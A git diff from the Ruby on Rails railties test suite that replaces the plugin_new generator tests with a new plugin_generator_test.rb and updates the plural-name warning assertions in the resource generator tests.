+require 'rails/generators/rails/plugin/plugin_generator'
+require 'generators/shared_generator_tests'
+require 'mocha/setup' # FIXME: stop using mocha
+
+DEFAULT_PLUGIN_FILES = %w(
+ .gitignore
+ Gemfile
+ Rakefile
+ README.rdoc
+ bukkits.gemspec
+ MIT-LICENSE
+ lib
+ lib/bukkits.rb
+ lib/tasks/bukkits_tasks.rake
+ lib/bukkits/version.rb
+ test/bukkits_test.rb
+ test/test_helper.rb
+ test/dummy
+)
+
+class PluginGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
+ destination File.join(Rails.root, "tmp/bukkits")
+ arguments [destination_root]
+
+ # brings setup, teardown, and some tests
+ include SharedGeneratorTests
+
+ def test_invalid_plugin_name_raises_an_error
+ content = capture(:stderr){ run_generator [File.join(destination_root, "things-43")] }
+ assert_equal "Invalid plugin name things-43. Please give a name which use only alphabetic or numeric or \"_\" characters.\n", content
+
+ content = capture(:stderr){ run_generator [File.join(destination_root, "things4.3")] }
+ assert_equal "Invalid plugin name things4.3. Please give a name which use only alphabetic or numeric or \"_\" characters.\n", content
+
+ content = capture(:stderr){ run_generator [File.join(destination_root, "43things")] }
+ assert_equal "Invalid plugin name 43things. Please give a name which does not start with numbers.\n", content
+
+ content = capture(:stderr){ run_generator [File.join(destination_root, "plugin")] }
+ assert_equal "Invalid plugin name plugin. Please give a name which does not match one of the reserved rails words.\n", content
+
+ content = capture(:stderr){ run_generator [File.join(destination_root, "Digest")] }
+ assert_equal "Invalid plugin name Digest, constant Digest is already in use. Please choose another plugin name.\n", content
+ end
+
+ def test_camelcase_plugin_name_underscores_filenames
+ run_generator [File.join(destination_root, "CamelCasedName")]
+ assert_no_file "CamelCasedName/lib/CamelCasedName.rb"
+ assert_file "CamelCasedName/lib/camel_cased_name.rb", /module CamelCasedName/
+ end
+
+ def test_generating_without_options
+ run_generator
+ assert_file "README.rdoc", /Bukkits/
+ assert_no_file "config/routes.rb"
+ assert_file "test/test_helper.rb" do |content|
+ assert_match(/require.+test\/dummy\/config\/environment/, content)
+ assert_match(/ActiveRecord::Migrator\.migrations_paths.+test\/dummy\/db\/migrate/, content)
+ assert_match(/Minitest\.backtrace_filter = Minitest::BacktraceFilter\.new/, content)
+ end
+ assert_file "test/bukkits_test.rb", /assert_kind_of Module, Bukkits/
+ end
+
+ def test_generating_test_files_in_full_mode
+ run_generator [destination_root, "--full"]
+ assert_directory "test/integration/"
+
+ assert_file "test/integration/navigation_test.rb", /ActionDispatch::IntegrationTest/
+ end
+
+ def test_inclusion_of_a_debugger
+ run_generator [destination_root, '--full']
+ if defined?(JRUBY_VERSION)
+ assert_file "Gemfile" do |content|
+ assert_no_match(/byebug/, content)
+ assert_no_match(/debugger/, content)
+ end
+ elsif RUBY_VERSION < '2.0.0'
+ assert_file "Gemfile", /# gem 'debugger'/
+ else
+ assert_file "Gemfile", /# gem 'byebug'/
+ end
+ end
+
+ def test_generating_test_files_in_full_mode_without_unit_test_files
+ run_generator [destination_root, "-T", "--full"]
+
+ assert_no_directory "test/integration/"
+ assert_no_file "test"
+ assert_file "Rakefile" do |contents|
+ assert_no_match(/APP_RAKEFILE/, contents)
+ end
+ end
+
+ def test_generating_adds_dummy_app_rake_tasks_without_unit_test_files
+ run_generator [destination_root, "-T", "--mountable", '--dummy-path', 'my_dummy_app']
+ assert_file "Rakefile", /APP_RAKEFILE/
+ end
+
+ def test_generating_adds_dummy_app_without_javascript_and_assets_deps
+ run_generator
+
+ assert_file "test/dummy/app/assets/stylesheets/application.css"
+
+ assert_file "test/dummy/app/assets/javascripts/application.js" do |contents|
+ assert_no_match(/jquery/, contents)
+ end
+ end
+
+ def test_ensure_that_plugin_options_are_not_passed_to_app_generator
+ FileUtils.cd(Rails.root)
+ assert_no_match(/It works from file!.*It works_from_file/, run_generator([destination_root, "-m", "lib/template.rb"]))
+ end
+
+ def test_ensure_that_test_dummy_can_be_generated_from_a_template
+ FileUtils.cd(Rails.root)
+ run_generator([destination_root, "-m", "lib/create_test_dummy_template.rb", "--skip-test-unit"])
+ assert_file "spec/dummy"
+ assert_no_file "test"
+ end
+
+ def test_database_entry_is_generated_for_sqlite3_by_default_in_full_mode
+ run_generator([destination_root, "--full"])
+ assert_file "test/dummy/config/database.yml", /sqlite/
+ assert_file "bukkits.gemspec", /sqlite3/
+ end
+
+ def test_config_another_database
+ run_generator([destination_root, "-d", "mysql", "--full"])
+ assert_file "test/dummy/config/database.yml", /mysql/
+ assert_file "bukkits.gemspec", /mysql/
+ end
+
+ def test_dont_generate_development_dependency
+ run_generator [destination_root, "--skip-active-record"]
+
+ assert_file "bukkits.gemspec" do |contents|
+ assert_no_match(/s.add_development_dependency "sqlite3"/, contents)
+ end
+ end
+
+ def test_active_record_is_removed_from_frameworks_if_skip_active_record_is_given
+ run_generator [destination_root, "--skip-active-record"]
+ assert_file "test/dummy/config/application.rb", /#\s+require\s+["']active_record\/railtie["']/
+ end
+
+ def test_ensure_that_skip_active_record_option_is_passed_to_app_generator
+ run_generator [destination_root, "--skip_active_record"]
+ assert_no_file "test/dummy/config/database.yml"
+ assert_file "test/test_helper.rb" do |contents|
+ assert_no_match(/ActiveRecord/, contents)
+ end
+ end
+
+ def test_ensure_that_database_option_is_passed_to_app_generator
+ run_generator [destination_root, "--database", "postgresql"]
+ assert_file "test/dummy/config/database.yml", /postgres/
+ end
+
+ def test_generation_runs_bundle_install_with_full_and_mountable
+ result = run_generator [destination_root, "--mountable", "--full", "--dev"]
+ assert_file "#{destination_root}/Gemfile.lock" do |contents|
+ assert_match(/bukkits/, contents)
+ end
+ assert_match(/run bundle install/, result)
+ assert_match(/Using bukkits \(?0\.0\.1\)?/, result)
+ assert_match(/Your bundle is complete/, result)
+ assert_equal 1, result.scan("Your bundle is complete").size
+ end
+
+ def test_skipping_javascripts_without_mountable_option
+ run_generator
+ assert_no_file "app/assets/javascripts/bukkits/application.js"
+ end
+
+ def test_javascripts_generation
+ run_generator [destination_root, "--mountable"]
+ assert_file "app/assets/javascripts/bukkits/application.js"
+ end
+
+ def test_skip_javascripts
+ run_generator [destination_root, "--skip-javascript", "--mountable"]
+ assert_no_file "app/assets/javascripts/bukkits/application.js"
+ end
+
+ def test_template_from_dir_pwd
+ FileUtils.cd(Rails.root)
+ assert_match(/It works from file!/, run_generator([destination_root, "-m", "lib/template.rb"]))
+ end
+
+ def test_ensure_that_tests_work
+ run_generator
+ FileUtils.cd destination_root
+ quietly { system 'bundle install' }
+ assert_match(/1 runs, 1 assertions, 0 failures, 0 errors/, `bundle exec rake test 2>&1`)
+ end
+
+ def test_ensure_that_tests_works_in_full_mode
+ run_generator [destination_root, "--full", "--skip_active_record"]
+ FileUtils.cd destination_root
+ quietly { system 'bundle install' }
+ assert_match(/1 runs, 1 assertions, 0 failures, 0 errors/, `bundle exec rake test 2>&1`)
+ end
+
+ def test_ensure_that_migration_tasks_work_with_mountable_option
+ run_generator [destination_root, "--mountable"]
+ FileUtils.cd destination_root
+ quietly { system 'bundle install' }
+ output = `bundle exec rake db:migrate 2>&1`
+ assert $?.success?, "Command failed: #{output}"
+ end
+
+ def test_creating_engine_in_full_mode
+ run_generator [destination_root, "--full"]
+ assert_file "app/assets/javascripts/bukkits"
+ assert_file "app/assets/stylesheets/bukkits"
+ assert_file "app/assets/images/bukkits"
+ assert_file "app/models"
+ assert_file "app/controllers"
+ assert_file "app/views"
+ assert_file "app/helpers"
+ assert_file "app/mailers"
+ assert_file "bin/rails"
+ assert_file "config/routes.rb", /Rails.application.routes.draw do/
+ assert_file "lib/bukkits/engine.rb", /module Bukkits\n class Engine < ::Rails::Engine\n end\nend/
+ assert_file "lib/bukkits.rb", /require "bukkits\/engine"/
+ end
+
+ def test_being_quiet_while_creating_dummy_application
+ assert_no_match(/create\s+config\/application.rb/, run_generator)
+ end
+
+ def test_create_mountable_application_with_mountable_option
+ run_generator [destination_root, "--mountable"]
+ assert_file "app/assets/javascripts/bukkits"
+ assert_file "app/assets/stylesheets/bukkits"
+ assert_file "app/assets/images/bukkits"
+ assert_file "config/routes.rb", /Bukkits::Engine.routes.draw do/
+ assert_file "lib/bukkits/engine.rb", /isolate_namespace Bukkits/
+ assert_file "test/dummy/config/routes.rb", /mount Bukkits::Engine => "\/bukkits"/
+ assert_file "app/controllers/bukkits/application_controller.rb", /module Bukkits\n class ApplicationController < ActionController::Base/
+ assert_file "app/helpers/bukkits/application_helper.rb", /module Bukkits\n module ApplicationHelper/
+ assert_file "app/views/layouts/bukkits/application.html.erb" do |contents|
+ assert_match "<title>Bukkits</title>", contents
+ assert_match(/stylesheet_link_tag\s+['"]bukkits\/application['"]/, contents)
+ assert_match(/javascript_include_tag\s+['"]bukkits\/application['"]/, contents)
+ end
+ assert_file "test/test_helper.rb" do |content|
+ assert_match(/ActiveRecord::Migrator\.migrations_paths.+\.\.\/test\/dummy\/db\/migrate/, content)
+ assert_match(/ActiveRecord::Migrator\.migrations_paths.+<<.+\.\.\/db\/migrate/, content)
+ end
+ end
+
+ def test_creating_gemspec
+ run_generator
+ assert_file "bukkits.gemspec", /s.name\s+= "bukkits"/
+ assert_file "bukkits.gemspec", /s.files = Dir\["\{app,config,db,lib\}\/\*\*\/\*", "MIT-LICENSE", "Rakefile", "README\.rdoc"\]/
+ assert_file "bukkits.gemspec", /s.test_files = Dir\["test\/\*\*\/\*"\]/
+ assert_file "bukkits.gemspec", /s.version\s+ = Bukkits::VERSION/
+ end
+
+ def test_usage_of_engine_commands
+ run_generator [destination_root, "--full"]
+ assert_file "bin/rails", /ENGINE_PATH = File.expand_path\('..\/..\/lib\/bukkits\/engine', __FILE__\)/
+ assert_file "bin/rails", /ENGINE_ROOT = File.expand_path\('..\/..', __FILE__\)/
+ assert_file "bin/rails", /require 'rails\/all'/
+ assert_file "bin/rails", /require 'rails\/engine\/commands'/
+ end
+
+ def test_shebang
+ run_generator [destination_root, "--full"]
+ assert_file "bin/rails", /#!\/usr\/bin\/env ruby/
+ end
+
+ def test_passing_dummy_path_as_a_parameter
+ run_generator [destination_root, "--dummy_path", "spec/dummy"]
+ assert_file "spec/dummy"
+ assert_file "spec/dummy/config/application.rb"
+ assert_no_file "test/dummy"
+ assert_file "test/test_helper.rb" do |content|
+ assert_match(/require.+spec\/dummy\/config\/environment/, content)
+ assert_match(/ActiveRecord::Migrator\.migrations_paths.+spec\/dummy\/db\/migrate/, content)
+ end
+ end
+
+ def test_creating_dummy_application_with_different_name
+ run_generator [destination_root, "--dummy_path", "spec/fake"]
+ assert_file "spec/fake"
+ assert_file "spec/fake/config/application.rb"
+ assert_no_file "test/dummy"
+ assert_file "test/test_helper.rb" do |content|
+ assert_match(/require.+spec\/fake\/config\/environment/, content)
+ assert_match(/ActiveRecord::Migrator\.migrations_paths.+spec\/fake\/db\/migrate/, content)
+ end
+ end
+
+ def test_creating_dummy_without_tests_but_with_dummy_path
+ run_generator [destination_root, "--dummy_path", "spec/dummy", "--skip-test-unit"]
+ assert_file "spec/dummy"
+ assert_file "spec/dummy/config/application.rb"
+ assert_no_file "test"
+ assert_no_file "test/test_helper.rb"
+ assert_file '.gitignore' do |contents|
+ assert_match(/spec\/dummy/, contents)
+ end
+ end
+
+ def test_ensure_that_gitignore_can_be_generated_from_a_template_for_dummy_path
+ FileUtils.cd(Rails.root)
+ run_generator([destination_root, "--dummy_path", "spec/dummy", "--skip-test-unit"])
+ assert_file ".gitignore" do |contents|
+ assert_match(/spec\/dummy/, contents)
+ end
+ end
+
+ def test_skipping_test_unit
+ run_generator [destination_root, "--skip-test-unit"]
+ assert_no_file "test"
+ assert_file "bukkits.gemspec" do |contents|
+ assert_no_match(/s.test_files = Dir\["test\/\*\*\/\*"\]/, contents)
+ end
+ assert_file '.gitignore' do |contents|
+ assert_no_match(/test\dummy/, contents)
+ end
+ end
+
+ def test_skipping_gemspec
+ run_generator [destination_root, "--skip-gemspec"]
+ assert_no_file "bukkits.gemspec"
+ assert_file "Gemfile" do |contents|
+ assert_no_match('gemspec', contents)
+ assert_match(/gem 'rails', '~> #{Rails.version}'/, contents)
+ assert_match_sqlite3(contents)
+ assert_no_match(/# gem "jquery-rails"/, contents)
+ end
+ end
+
+ def test_skipping_gemspec_in_full_mode
+ run_generator [destination_root, "--skip-gemspec", "--full"]
+ assert_no_file "bukkits.gemspec"
+ assert_file "Gemfile" do |contents|
+ assert_no_match('gemspec', contents)
+ assert_match(/gem 'rails', '~> #{Rails.version}'/, contents)
+ assert_match_sqlite3(contents)
+ end
+ end
+
+ def test_creating_plugin_in_app_directory_adds_gemfile_entry
+ # simulate application existence
+ gemfile_path = "#{Rails.root}/Gemfile"
+ Object.const_set('APP_PATH', Rails.root)
+ FileUtils.touch gemfile_path
+
+ run_generator
+
+ assert_file gemfile_path, /gem 'bukkits', path: 'tmp\/bukkits'/
+ ensure
+ Object.send(:remove_const, 'APP_PATH')
+ FileUtils.rm gemfile_path
+ end
+
+ def test_skipping_gemfile_entry
+ # simulate application existence
+ gemfile_path = "#{Rails.root}/Gemfile"
+ Object.const_set('APP_PATH', Rails.root)
+ FileUtils.touch gemfile_path
+
+ run_generator [destination_root, "--skip-gemfile-entry"]
+
+ assert_file gemfile_path do |contents|
+ assert_no_match(/gem 'bukkits', path: 'tmp\/bukkits'/, contents)
+ end
+ ensure
+ Object.send(:remove_const, 'APP_PATH')
+ FileUtils.rm gemfile_path
+ end
+
+ def test_generating_controller_inside_mountable_engine
+ run_generator [destination_root, "--mountable"]
+
+ capture(:stdout) do
+ `#{destination_root}/bin/rails g controller admin/dashboard foo`
+ end
+
+ assert_file "config/routes.rb" do |contents|
+ assert_match(/namespace :admin/, contents)
+ assert_no_match(/namespace :bukkit/, contents)
+ end
+ end
+
+ def test_git_name_and_email_in_gemspec_file
+ name = `git config user.name`.chomp rescue "TODO: Write your name"
+ email = `git config user.email`.chomp rescue "TODO: Write your email address"
+
+ run_generator
+ assert_file "bukkits.gemspec" do |contents|
+ assert_match name, contents
+ assert_match email, contents
+ end
+ end
+
+ def test_git_name_in_license_file
+ name = `git config user.name`.chomp rescue "TODO: Write your name"
+
+ run_generator
+ assert_file "MIT-LICENSE" do |contents|
+ assert_match name, contents
+ end
+ end
+
+ def test_no_details_from_git_when_skip_git
+ name = "TODO: Write your name"
+ email = "TODO: Write your email address"
+
+ run_generator [destination_root, '--skip-git']
+ assert_file "MIT-LICENSE" do |contents|
+ assert_match name, contents
+ end
+ assert_file "bukkits.gemspec" do |contents|
+ assert_match name, contents
+ assert_match email, contents
+ end
+ end
+
+protected
+ def action(*args, &block)
+ silence(:stdout){ generator.send(*args, &block) }
+ end
+
+ def default_files
+ ::DEFAULT_PLUGIN_FILES
+ end
+
+ def assert_match_sqlite3(contents)
+ if defined?(JRUBY_VERSION)
+ assert_match(/group :development do\n gem 'activerecord-jdbcsqlite3-adapter'\nend/, contents)
+ else
+ assert_match(/group :development do\n gem 'sqlite3'\nend/, contents)
+ end
+ end
+end
diff --git a/railties/test/generators/plugin_new_generator_test.rb b/railties/test/generators/plugin_new_generator_test.rb
deleted file mode 100644
index ab78800a4e..0000000000
--- a/railties/test/generators/plugin_new_generator_test.rb
+++ /dev/null
@@ -1,408 +0,0 @@
-require 'generators/generators_test_helper'
-require 'rails/generators/rails/plugin_new/plugin_new_generator'
-require 'generators/shared_generator_tests'
-
-DEFAULT_PLUGIN_FILES = %w(
- .gitignore
- Gemfile
- Rakefile
- README.rdoc
- bukkits.gemspec
- MIT-LICENSE
- lib
- lib/bukkits.rb
- lib/tasks/bukkits_tasks.rake
- lib/bukkits/version.rb
- test/bukkits_test.rb
- test/test_helper.rb
- test/dummy
-)
-
-class PluginNewGeneratorTest < Rails::Generators::TestCase
- include GeneratorsTestHelper
- destination File.join(Rails.root, "tmp/bukkits")
- arguments [destination_root]
-
- # brings setup, teardown, and some tests
- include SharedGeneratorTests
-
- def test_invalid_plugin_name_raises_an_error
- content = capture(:stderr){ run_generator [File.join(destination_root, "things-43")] }
- assert_equal "Invalid plugin name things-43. Please give a name which use only alphabetic or numeric or \"_\" characters.\n", content
-
- content = capture(:stderr){ run_generator [File.join(destination_root, "things4.3")] }
- assert_equal "Invalid plugin name things4.3. Please give a name which use only alphabetic or numeric or \"_\" characters.\n", content
-
- content = capture(:stderr){ run_generator [File.join(destination_root, "43things")] }
- assert_equal "Invalid plugin name 43things. Please give a name which does not start with numbers.\n", content
- end
-
- def test_camelcase_plugin_name_underscores_filenames
- run_generator [File.join(destination_root, "CamelCasedName")]
- assert_no_file "CamelCasedName/lib/CamelCasedName.rb"
- assert_file "CamelCasedName/lib/camel_cased_name.rb", /module CamelCasedName/
- end
-
- def test_generating_without_options
- run_generator
- assert_file "README.rdoc", /Bukkits/
- assert_no_file "config/routes.rb"
- assert_file "test/test_helper.rb"
- assert_file "test/bukkits_test.rb", /assert_kind_of Module, Bukkits/
- end
-
- def test_generating_test_files_in_full_mode
- run_generator [destination_root, "--full"]
- assert_directory "test/integration/"
-
- assert_file "test/integration/navigation_test.rb", /ActionDispatch::IntegrationTest/
- end
-
- def test_generating_test_files_in_full_mode_without_unit_test_files
- run_generator [destination_root, "-T", "--full"]
-
- assert_no_directory "test/integration/"
- assert_no_file "test"
- assert_no_match(/APP_RAKEFILE/, File.read(File.join(destination_root, "Rakefile")))
- end
-
- def test_generating_adds_dummy_app_rake_tasks_without_unit_test_files
- run_generator [destination_root, "-T", "--mountable", '--dummy-path', 'my_dummy_app']
-
- assert_match(/APP_RAKEFILE/, File.read(File.join(destination_root, "Rakefile")))
- end
-
- def test_ensure_that_plugin_options_are_not_passed_to_app_generator
- FileUtils.cd(Rails.root)
- assert_no_match(/It works from file!.*It works_from_file/, run_generator([destination_root, "-m", "lib/template.rb"]))
- end
-
- def test_ensure_that_test_dummy_can_be_generated_from_a_template
- FileUtils.cd(Rails.root)
- run_generator([destination_root, "-m", "lib/create_test_dummy_template.rb", "--skip-test-unit"])
- assert_file "spec/dummy"
- assert_no_file "test"
- end
-
- def test_database_entry_is_generated_for_sqlite3_by_default_in_full_mode
- run_generator([destination_root, "--full"])
- assert_file "test/dummy/config/database.yml", /sqlite/
- assert_file "bukkits.gemspec", /sqlite3/
- end
-
- def test_config_another_database
- run_generator([destination_root, "-d", "mysql", "--full"])
- assert_file "test/dummy/config/database.yml", /mysql/
- assert_file "bukkits.gemspec", /mysql/
- end
-
- def test_dont_generate_development_dependency
- run_generator [destination_root, "--skip-active-record"]
-
- assert_file "bukkits.gemspec" do |contents|
- assert_no_match(/s.add_development_dependency "sqlite3"/, contents)
- end
- end
-
- def test_active_record_is_removed_from_frameworks_if_skip_active_record_is_given
- run_generator [destination_root, "--skip-active-record"]
- assert_file "test/dummy/config/application.rb", /#\s+require\s+["']active_record\/railtie["']/
- end
-
- def test_ensure_that_skip_active_record_option_is_passed_to_app_generator
- run_generator [destination_root, "--skip_active_record"]
- assert_no_file "test/dummy/config/database.yml"
- assert_no_match(/ActiveRecord/, File.read(File.join(destination_root, "test/test_helper.rb")))
- end
-
- def test_ensure_that_database_option_is_passed_to_app_generator
- run_generator [destination_root, "--database", "postgresql"]
- assert_file "test/dummy/config/database.yml", /postgres/
- end
-
- def test_generation_runs_bundle_install_with_full_and_mountable
- result = run_generator [destination_root, "--mountable", "--full", "--dev"]
- assert_file "#{destination_root}/Gemfile.lock" do |contents|
- assert_match(/bukkits/, contents)
- end
- assert_match(/run bundle install/, result)
- assert_match(/Using bukkits \(0\.0\.1\)/, result)
- assert_match(/Your bundle is complete/, result)
- assert_equal 1, result.scan("Your bundle is complete").size
- end
-
- def test_skipping_javascripts_without_mountable_option
- run_generator
- assert_no_file "app/assets/javascripts/bukkits/application.js"
- assert_no_file "vendor/assets/javascripts/jquery.js"
- assert_no_file "vendor/assets/javascripts/jquery_ujs.js"
- end
-
- def test_javascripts_generation
- run_generator [destination_root, "--mountable"]
- assert_file "app/assets/javascripts/bukkits/application.js"
- end
-
- def test_jquery_is_the_default_javascript_library
- run_generator [destination_root, "--mountable"]
- assert_file "app/assets/javascripts/bukkits/application.js" do |contents|
- assert_match %r{^//= require jquery}, contents
- assert_match %r{^//= require jquery_ujs}, contents
- end
- assert_file 'bukkits.gemspec' do |contents|
- assert_match(/jquery-rails/, contents)
- end
- end
-
- def test_other_javascript_libraries
- run_generator [destination_root, "--mountable", '-j', 'prototype']
- assert_file "app/assets/javascripts/bukkits/application.js" do |contents|
- assert_match %r{^//= require prototype}, contents
- assert_match %r{^//= require prototype_ujs}, contents
- end
- assert_file 'bukkits.gemspec' do |contents|
- assert_match(/prototype-rails/, contents)
- end
- end
-
- def test_skip_javascripts
- run_generator [destination_root, "--skip-javascript", "--mountable"]
- assert_no_file "app/assets/javascripts/bukkits/application.js"
- assert_no_file "vendor/assets/javascripts/jquery.js"
- assert_no_file "vendor/assets/javascripts/jquery_ujs.js"
- end
-
- def test_template_from_dir_pwd
- FileUtils.cd(Rails.root)
- assert_match(/It works from file!/, run_generator([destination_root, "-m", "lib/template.rb"]))
- end
-
- def test_ensure_that_tests_work
- run_generator
- FileUtils.cd destination_root
- quietly { system 'bundle install' }
- assert_match(/1 tests, 1 assertions, 0 failures, 0 errors/, `bundle exec rake test`)
- end
-
- def test_ensure_that_tests_works_in_full_mode
- run_generator [destination_root, "--full", "--skip_active_record"]
- FileUtils.cd destination_root
- quietly { system 'bundle install' }
- assert_match(/1 tests, 1 assertions, 0 failures, 0 errors/, `bundle exec rake test`)
- end
-
- def test_ensure_that_migration_tasks_work_with_mountable_option
- run_generator [destination_root, "--mountable"]
- FileUtils.cd destination_root
- quietly { system 'bundle install' }
- `bundle exec rake db:migrate`
- assert_equal 0, $?.exitstatus
- end
-
- def test_creating_engine_in_full_mode
- run_generator [destination_root, "--full"]
- assert_file "app/assets/javascripts/bukkits"
- assert_file "app/assets/stylesheets/bukkits"
- assert_file "app/assets/images/bukkits"
- assert_file "app/models"
- assert_file "app/controllers"
- assert_file "app/views"
- assert_file "app/helpers"
- assert_file "app/mailers"
- assert_file "config/routes.rb", /Rails.application.routes.draw do/
- assert_file "lib/bukkits/engine.rb", /module Bukkits\n class Engine < ::Rails::Engine\n end\nend/
- assert_file "lib/bukkits.rb", /require "bukkits\/engine"/
- assert_file "script/rails"
- end
-
- def test_being_quiet_while_creating_dummy_application
- assert_no_match(/create\s+config\/application.rb/, run_generator)
- end
-
- def test_create_mountable_application_with_mountable_option
- run_generator [destination_root, "--mountable"]
- assert_file "app/assets/javascripts/bukkits"
- assert_file "app/assets/stylesheets/bukkits"
- assert_file "app/assets/images/bukkits"
- assert_file "config/routes.rb", /Bukkits::Engine.routes.draw do/
- assert_file "lib/bukkits/engine.rb", /isolate_namespace Bukkits/
- assert_file "test/dummy/config/routes.rb", /mount Bukkits::Engine => "\/bukkits"/
- assert_file "app/controllers/bukkits/application_controller.rb", /module Bukkits\n class ApplicationController < ActionController::Base/
- assert_file "app/helpers/bukkits/application_helper.rb", /module Bukkits\n module ApplicationHelper/
- assert_file "app/views/layouts/bukkits/application.html.erb" do |contents|
- assert_match "<title>Bukkits</title>", contents
- assert_match(/stylesheet_link_tag\s+['"]bukkits\/application['"]/, contents)
- assert_match(/javascript_include_tag\s+['"]bukkits\/application['"]/, contents)
- end
- end
-
- def test_creating_gemspec
- run_generator
- assert_file "bukkits.gemspec", /s.name\s+= "bukkits"/
- assert_file "bukkits.gemspec", /s.files = Dir\["\{app,config,db,lib\}\/\*\*\/\*", "MIT-LICENSE", "Rakefile", "README\.rdoc"\]/
- assert_file "bukkits.gemspec", /s.test_files = Dir\["test\/\*\*\/\*"\]/
- assert_file "bukkits.gemspec", /s.version\s+ = Bukkits::VERSION/
- end
-
- def test_usage_of_engine_commands
- run_generator [destination_root, "--full"]
- assert_file "script/rails", /ENGINE_PATH = File.expand_path\('..\/..\/lib\/bukkits\/engine', __FILE__\)/
- assert_file "script/rails", /ENGINE_ROOT = File.expand_path\('..\/..', __FILE__\)/
- assert_file "script/rails", /require 'rails\/all'/
- assert_file "script/rails", /require 'rails\/engine\/commands'/
- end
-
- def test_shebang
- run_generator [destination_root, "--full"]
- assert_file "script/rails", /#!\/usr\/bin\/env ruby/
- end
-
- def test_passing_dummy_path_as_a_parameter
- run_generator [destination_root, "--dummy_path", "spec/dummy"]
- assert_file "spec/dummy"
- assert_file "spec/dummy/config/application.rb"
- assert_no_file "test/dummy"
- end
-
- def test_creating_dummy_application_with_different_name
- run_generator [destination_root, "--dummy_path", "spec/fake"]
- assert_file "spec/fake"
- assert_file "spec/fake/config/application.rb"
- assert_no_file "test/dummy"
- end
-
- def test_creating_dummy_without_tests_but_with_dummy_path
- run_generator [destination_root, "--dummy_path", "spec/dummy", "--skip-test-unit"]
- assert_file "spec/dummy"
- assert_file "spec/dummy/config/application.rb"
- assert_no_file "test"
- assert_file '.gitignore' do |contents|
- assert_match(/spec\/dummy/, contents)
- end
- end
-
- def test_ensure_that_gitignore_can_be_generated_from_a_template_for_dummy_path
- FileUtils.cd(Rails.root)
- run_generator([destination_root, "--dummy_path", "spec/dummy", "--skip-test-unit"])
- assert_file ".gitignore" do |contents|
- assert_match(/spec\/dummy/, contents)
- end
- end
-
- def test_skipping_test_unit
- run_generator [destination_root, "--skip-test-unit"]
- assert_no_file "test"
- assert_file "bukkits.gemspec" do |contents|
- assert_no_match(/s.test_files = Dir\["test\/\*\*\/\*"\]/, contents)
- end
- assert_file '.gitignore' do |contents|
- assert_no_match(/test\dummy/, contents)
- end
- end
-
- def test_skipping_gemspec
- run_generator [destination_root, "--skip-gemspec"]
- assert_no_file "bukkits.gemspec"
- assert_file "Gemfile" do |contents|
- assert_no_match('gemspec', contents)
- assert_match(/gem "rails", "~> #{Rails::VERSION::STRING}"/, contents)
- assert_match(/group :development do\n gem "sqlite3"\nend/, contents)
- assert_no_match(/# gem "jquery-rails"/, contents)
- end
- end
-
- def test_skipping_gemspec_in_full_mode
- run_generator [destination_root, "--skip-gemspec", "--full"]
- assert_no_file "bukkits.gemspec"
- assert_file "Gemfile" do |contents|
- assert_no_match('gemspec', contents)
- assert_match(/gem "rails", "~> #{Rails::VERSION::STRING}"/, contents)
- assert_match(/group :development do\n gem "sqlite3"\nend/, contents)
- assert_match(/# gem "jquery-rails"/, contents)
- assert_no_match(/# jquery-rails is used by the dummy application\ngem "jquery-rails"/, contents)
- end
- end
-
- def test_skipping_gemspec_in_full_mode_with_javascript_option
- run_generator [destination_root, "--skip-gemspec", "--full", "--javascript=prototype"]
- assert_file "Gemfile" do |contents|
- assert_match(/# gem "prototype-rails"/, contents)
- assert_match(/# jquery-rails is used by the dummy application\ngem "jquery-rails"/, contents)
- end
- end
-
- def test_creating_plugin_in_app_directory_adds_gemfile_entry
- # simulate application existance
- gemfile_path = "#{Rails.root}/Gemfile"
- Object.const_set('APP_PATH', Rails.root)
- FileUtils.touch gemfile_path
-
- run_generator [destination_root]
-
- assert_file gemfile_path, /gem 'bukkits', path: 'tmp\/bukkits'/
- ensure
- Object.send(:remove_const, 'APP_PATH')
- FileUtils.rm gemfile_path
- end
-
- def test_skipping_gemfile_entry
- # simulate application existance
- gemfile_path = "#{Rails.root}/Gemfile"
- Object.const_set('APP_PATH', Rails.root)
- FileUtils.touch gemfile_path
-
- run_generator [destination_root, "--skip-gemfile-entry"]
-
- assert_file gemfile_path do |contents|
- assert_no_match(/gem 'bukkits', path: 'tmp\/bukkits'/, contents)
- end
- ensure
- Object.send(:remove_const, 'APP_PATH')
- FileUtils.rm gemfile_path
- end
-
-
-protected
- def action(*args, &block)
- silence(:stdout){ generator.send(*args, &block) }
- end
-
- def default_files
- ::DEFAULT_PLUGIN_FILES
- end
-end
-
-class CustomPluginGeneratorTest < Rails::Generators::TestCase
- include GeneratorsTestHelper
- tests Rails::Generators::PluginNewGenerator
-
- destination File.join(Rails.root, "tmp/bukkits")
- arguments [destination_root]
- include SharedCustomGeneratorTests
-
- def test_overriding_test_framework
- FileUtils.cd(destination_root)
- run_generator([destination_root, "-b", "#{Rails.root}/lib/plugin_builders/spec_builder.rb"])
- assert_file 'spec/spec_helper.rb'
- assert_file 'spec/dummy'
- assert_file 'Rakefile', /task default: :spec/
- assert_file 'Rakefile', /# spec tasks in rakefile/
- end
-
-protected
- def default_files
- ::DEFAULT_PLUGIN_FILES
- end
-
- def builder_class
- :PluginBuilder
- end
-
- def builders_dir
- "plugin_builders"
- end
-
- def action(*args, &block)
- silence(:stdout){ generator.send(*args, &block) }
- end
-end
diff --git a/railties/test/generators/resource_generator_test.rb b/railties/test/generators/resource_generator_test.rb
index 3d4e694361..581d80d60e 100644
--- a/railties/test/generators/resource_generator_test.rb
+++ b/railties/test/generators/resource_generator_test.rb
@@ -36,7 +36,6 @@ class ResourceGeneratorTest < Rails::Generators::TestCase
assert_file "test/controllers/accounts_controller_test.rb", /class AccountsControllerTest < ActionController::TestCase/
assert_file "app/helpers/accounts_helper.rb", /module AccountsHelper/
- assert_file "test/helpers/accounts_helper_test.rb", /class AccountsHelperTest < ActionView::TestCase/
end
def test_resource_controller_with_actions
@@ -63,19 +62,19 @@ class ResourceGeneratorTest < Rails::Generators::TestCase
content = run_generator ["accounts".freeze]
assert_file "app/models/account.rb", /class Account < ActiveRecord::Base/
assert_file "test/models/account_test.rb", /class AccountTest/
- assert_match(/Plural version of the model detected, using singularized version. Override with --force-plural./, content)
+ assert_match(/\[WARNING\] The model name 'accounts' was recognized as a plural, using the singular 'account' instead\. Override with --force-plural or setup custom inflection rules for this noun before running the generator\./, content)
end
def test_plural_names_can_be_forced
content = run_generator ["accounts", "--force-plural"]
assert_file "app/models/accounts.rb", /class Accounts < ActiveRecord::Base/
assert_file "test/models/accounts_test.rb", /class AccountsTest/
- assert_no_match(/Plural version of the model detected/, content)
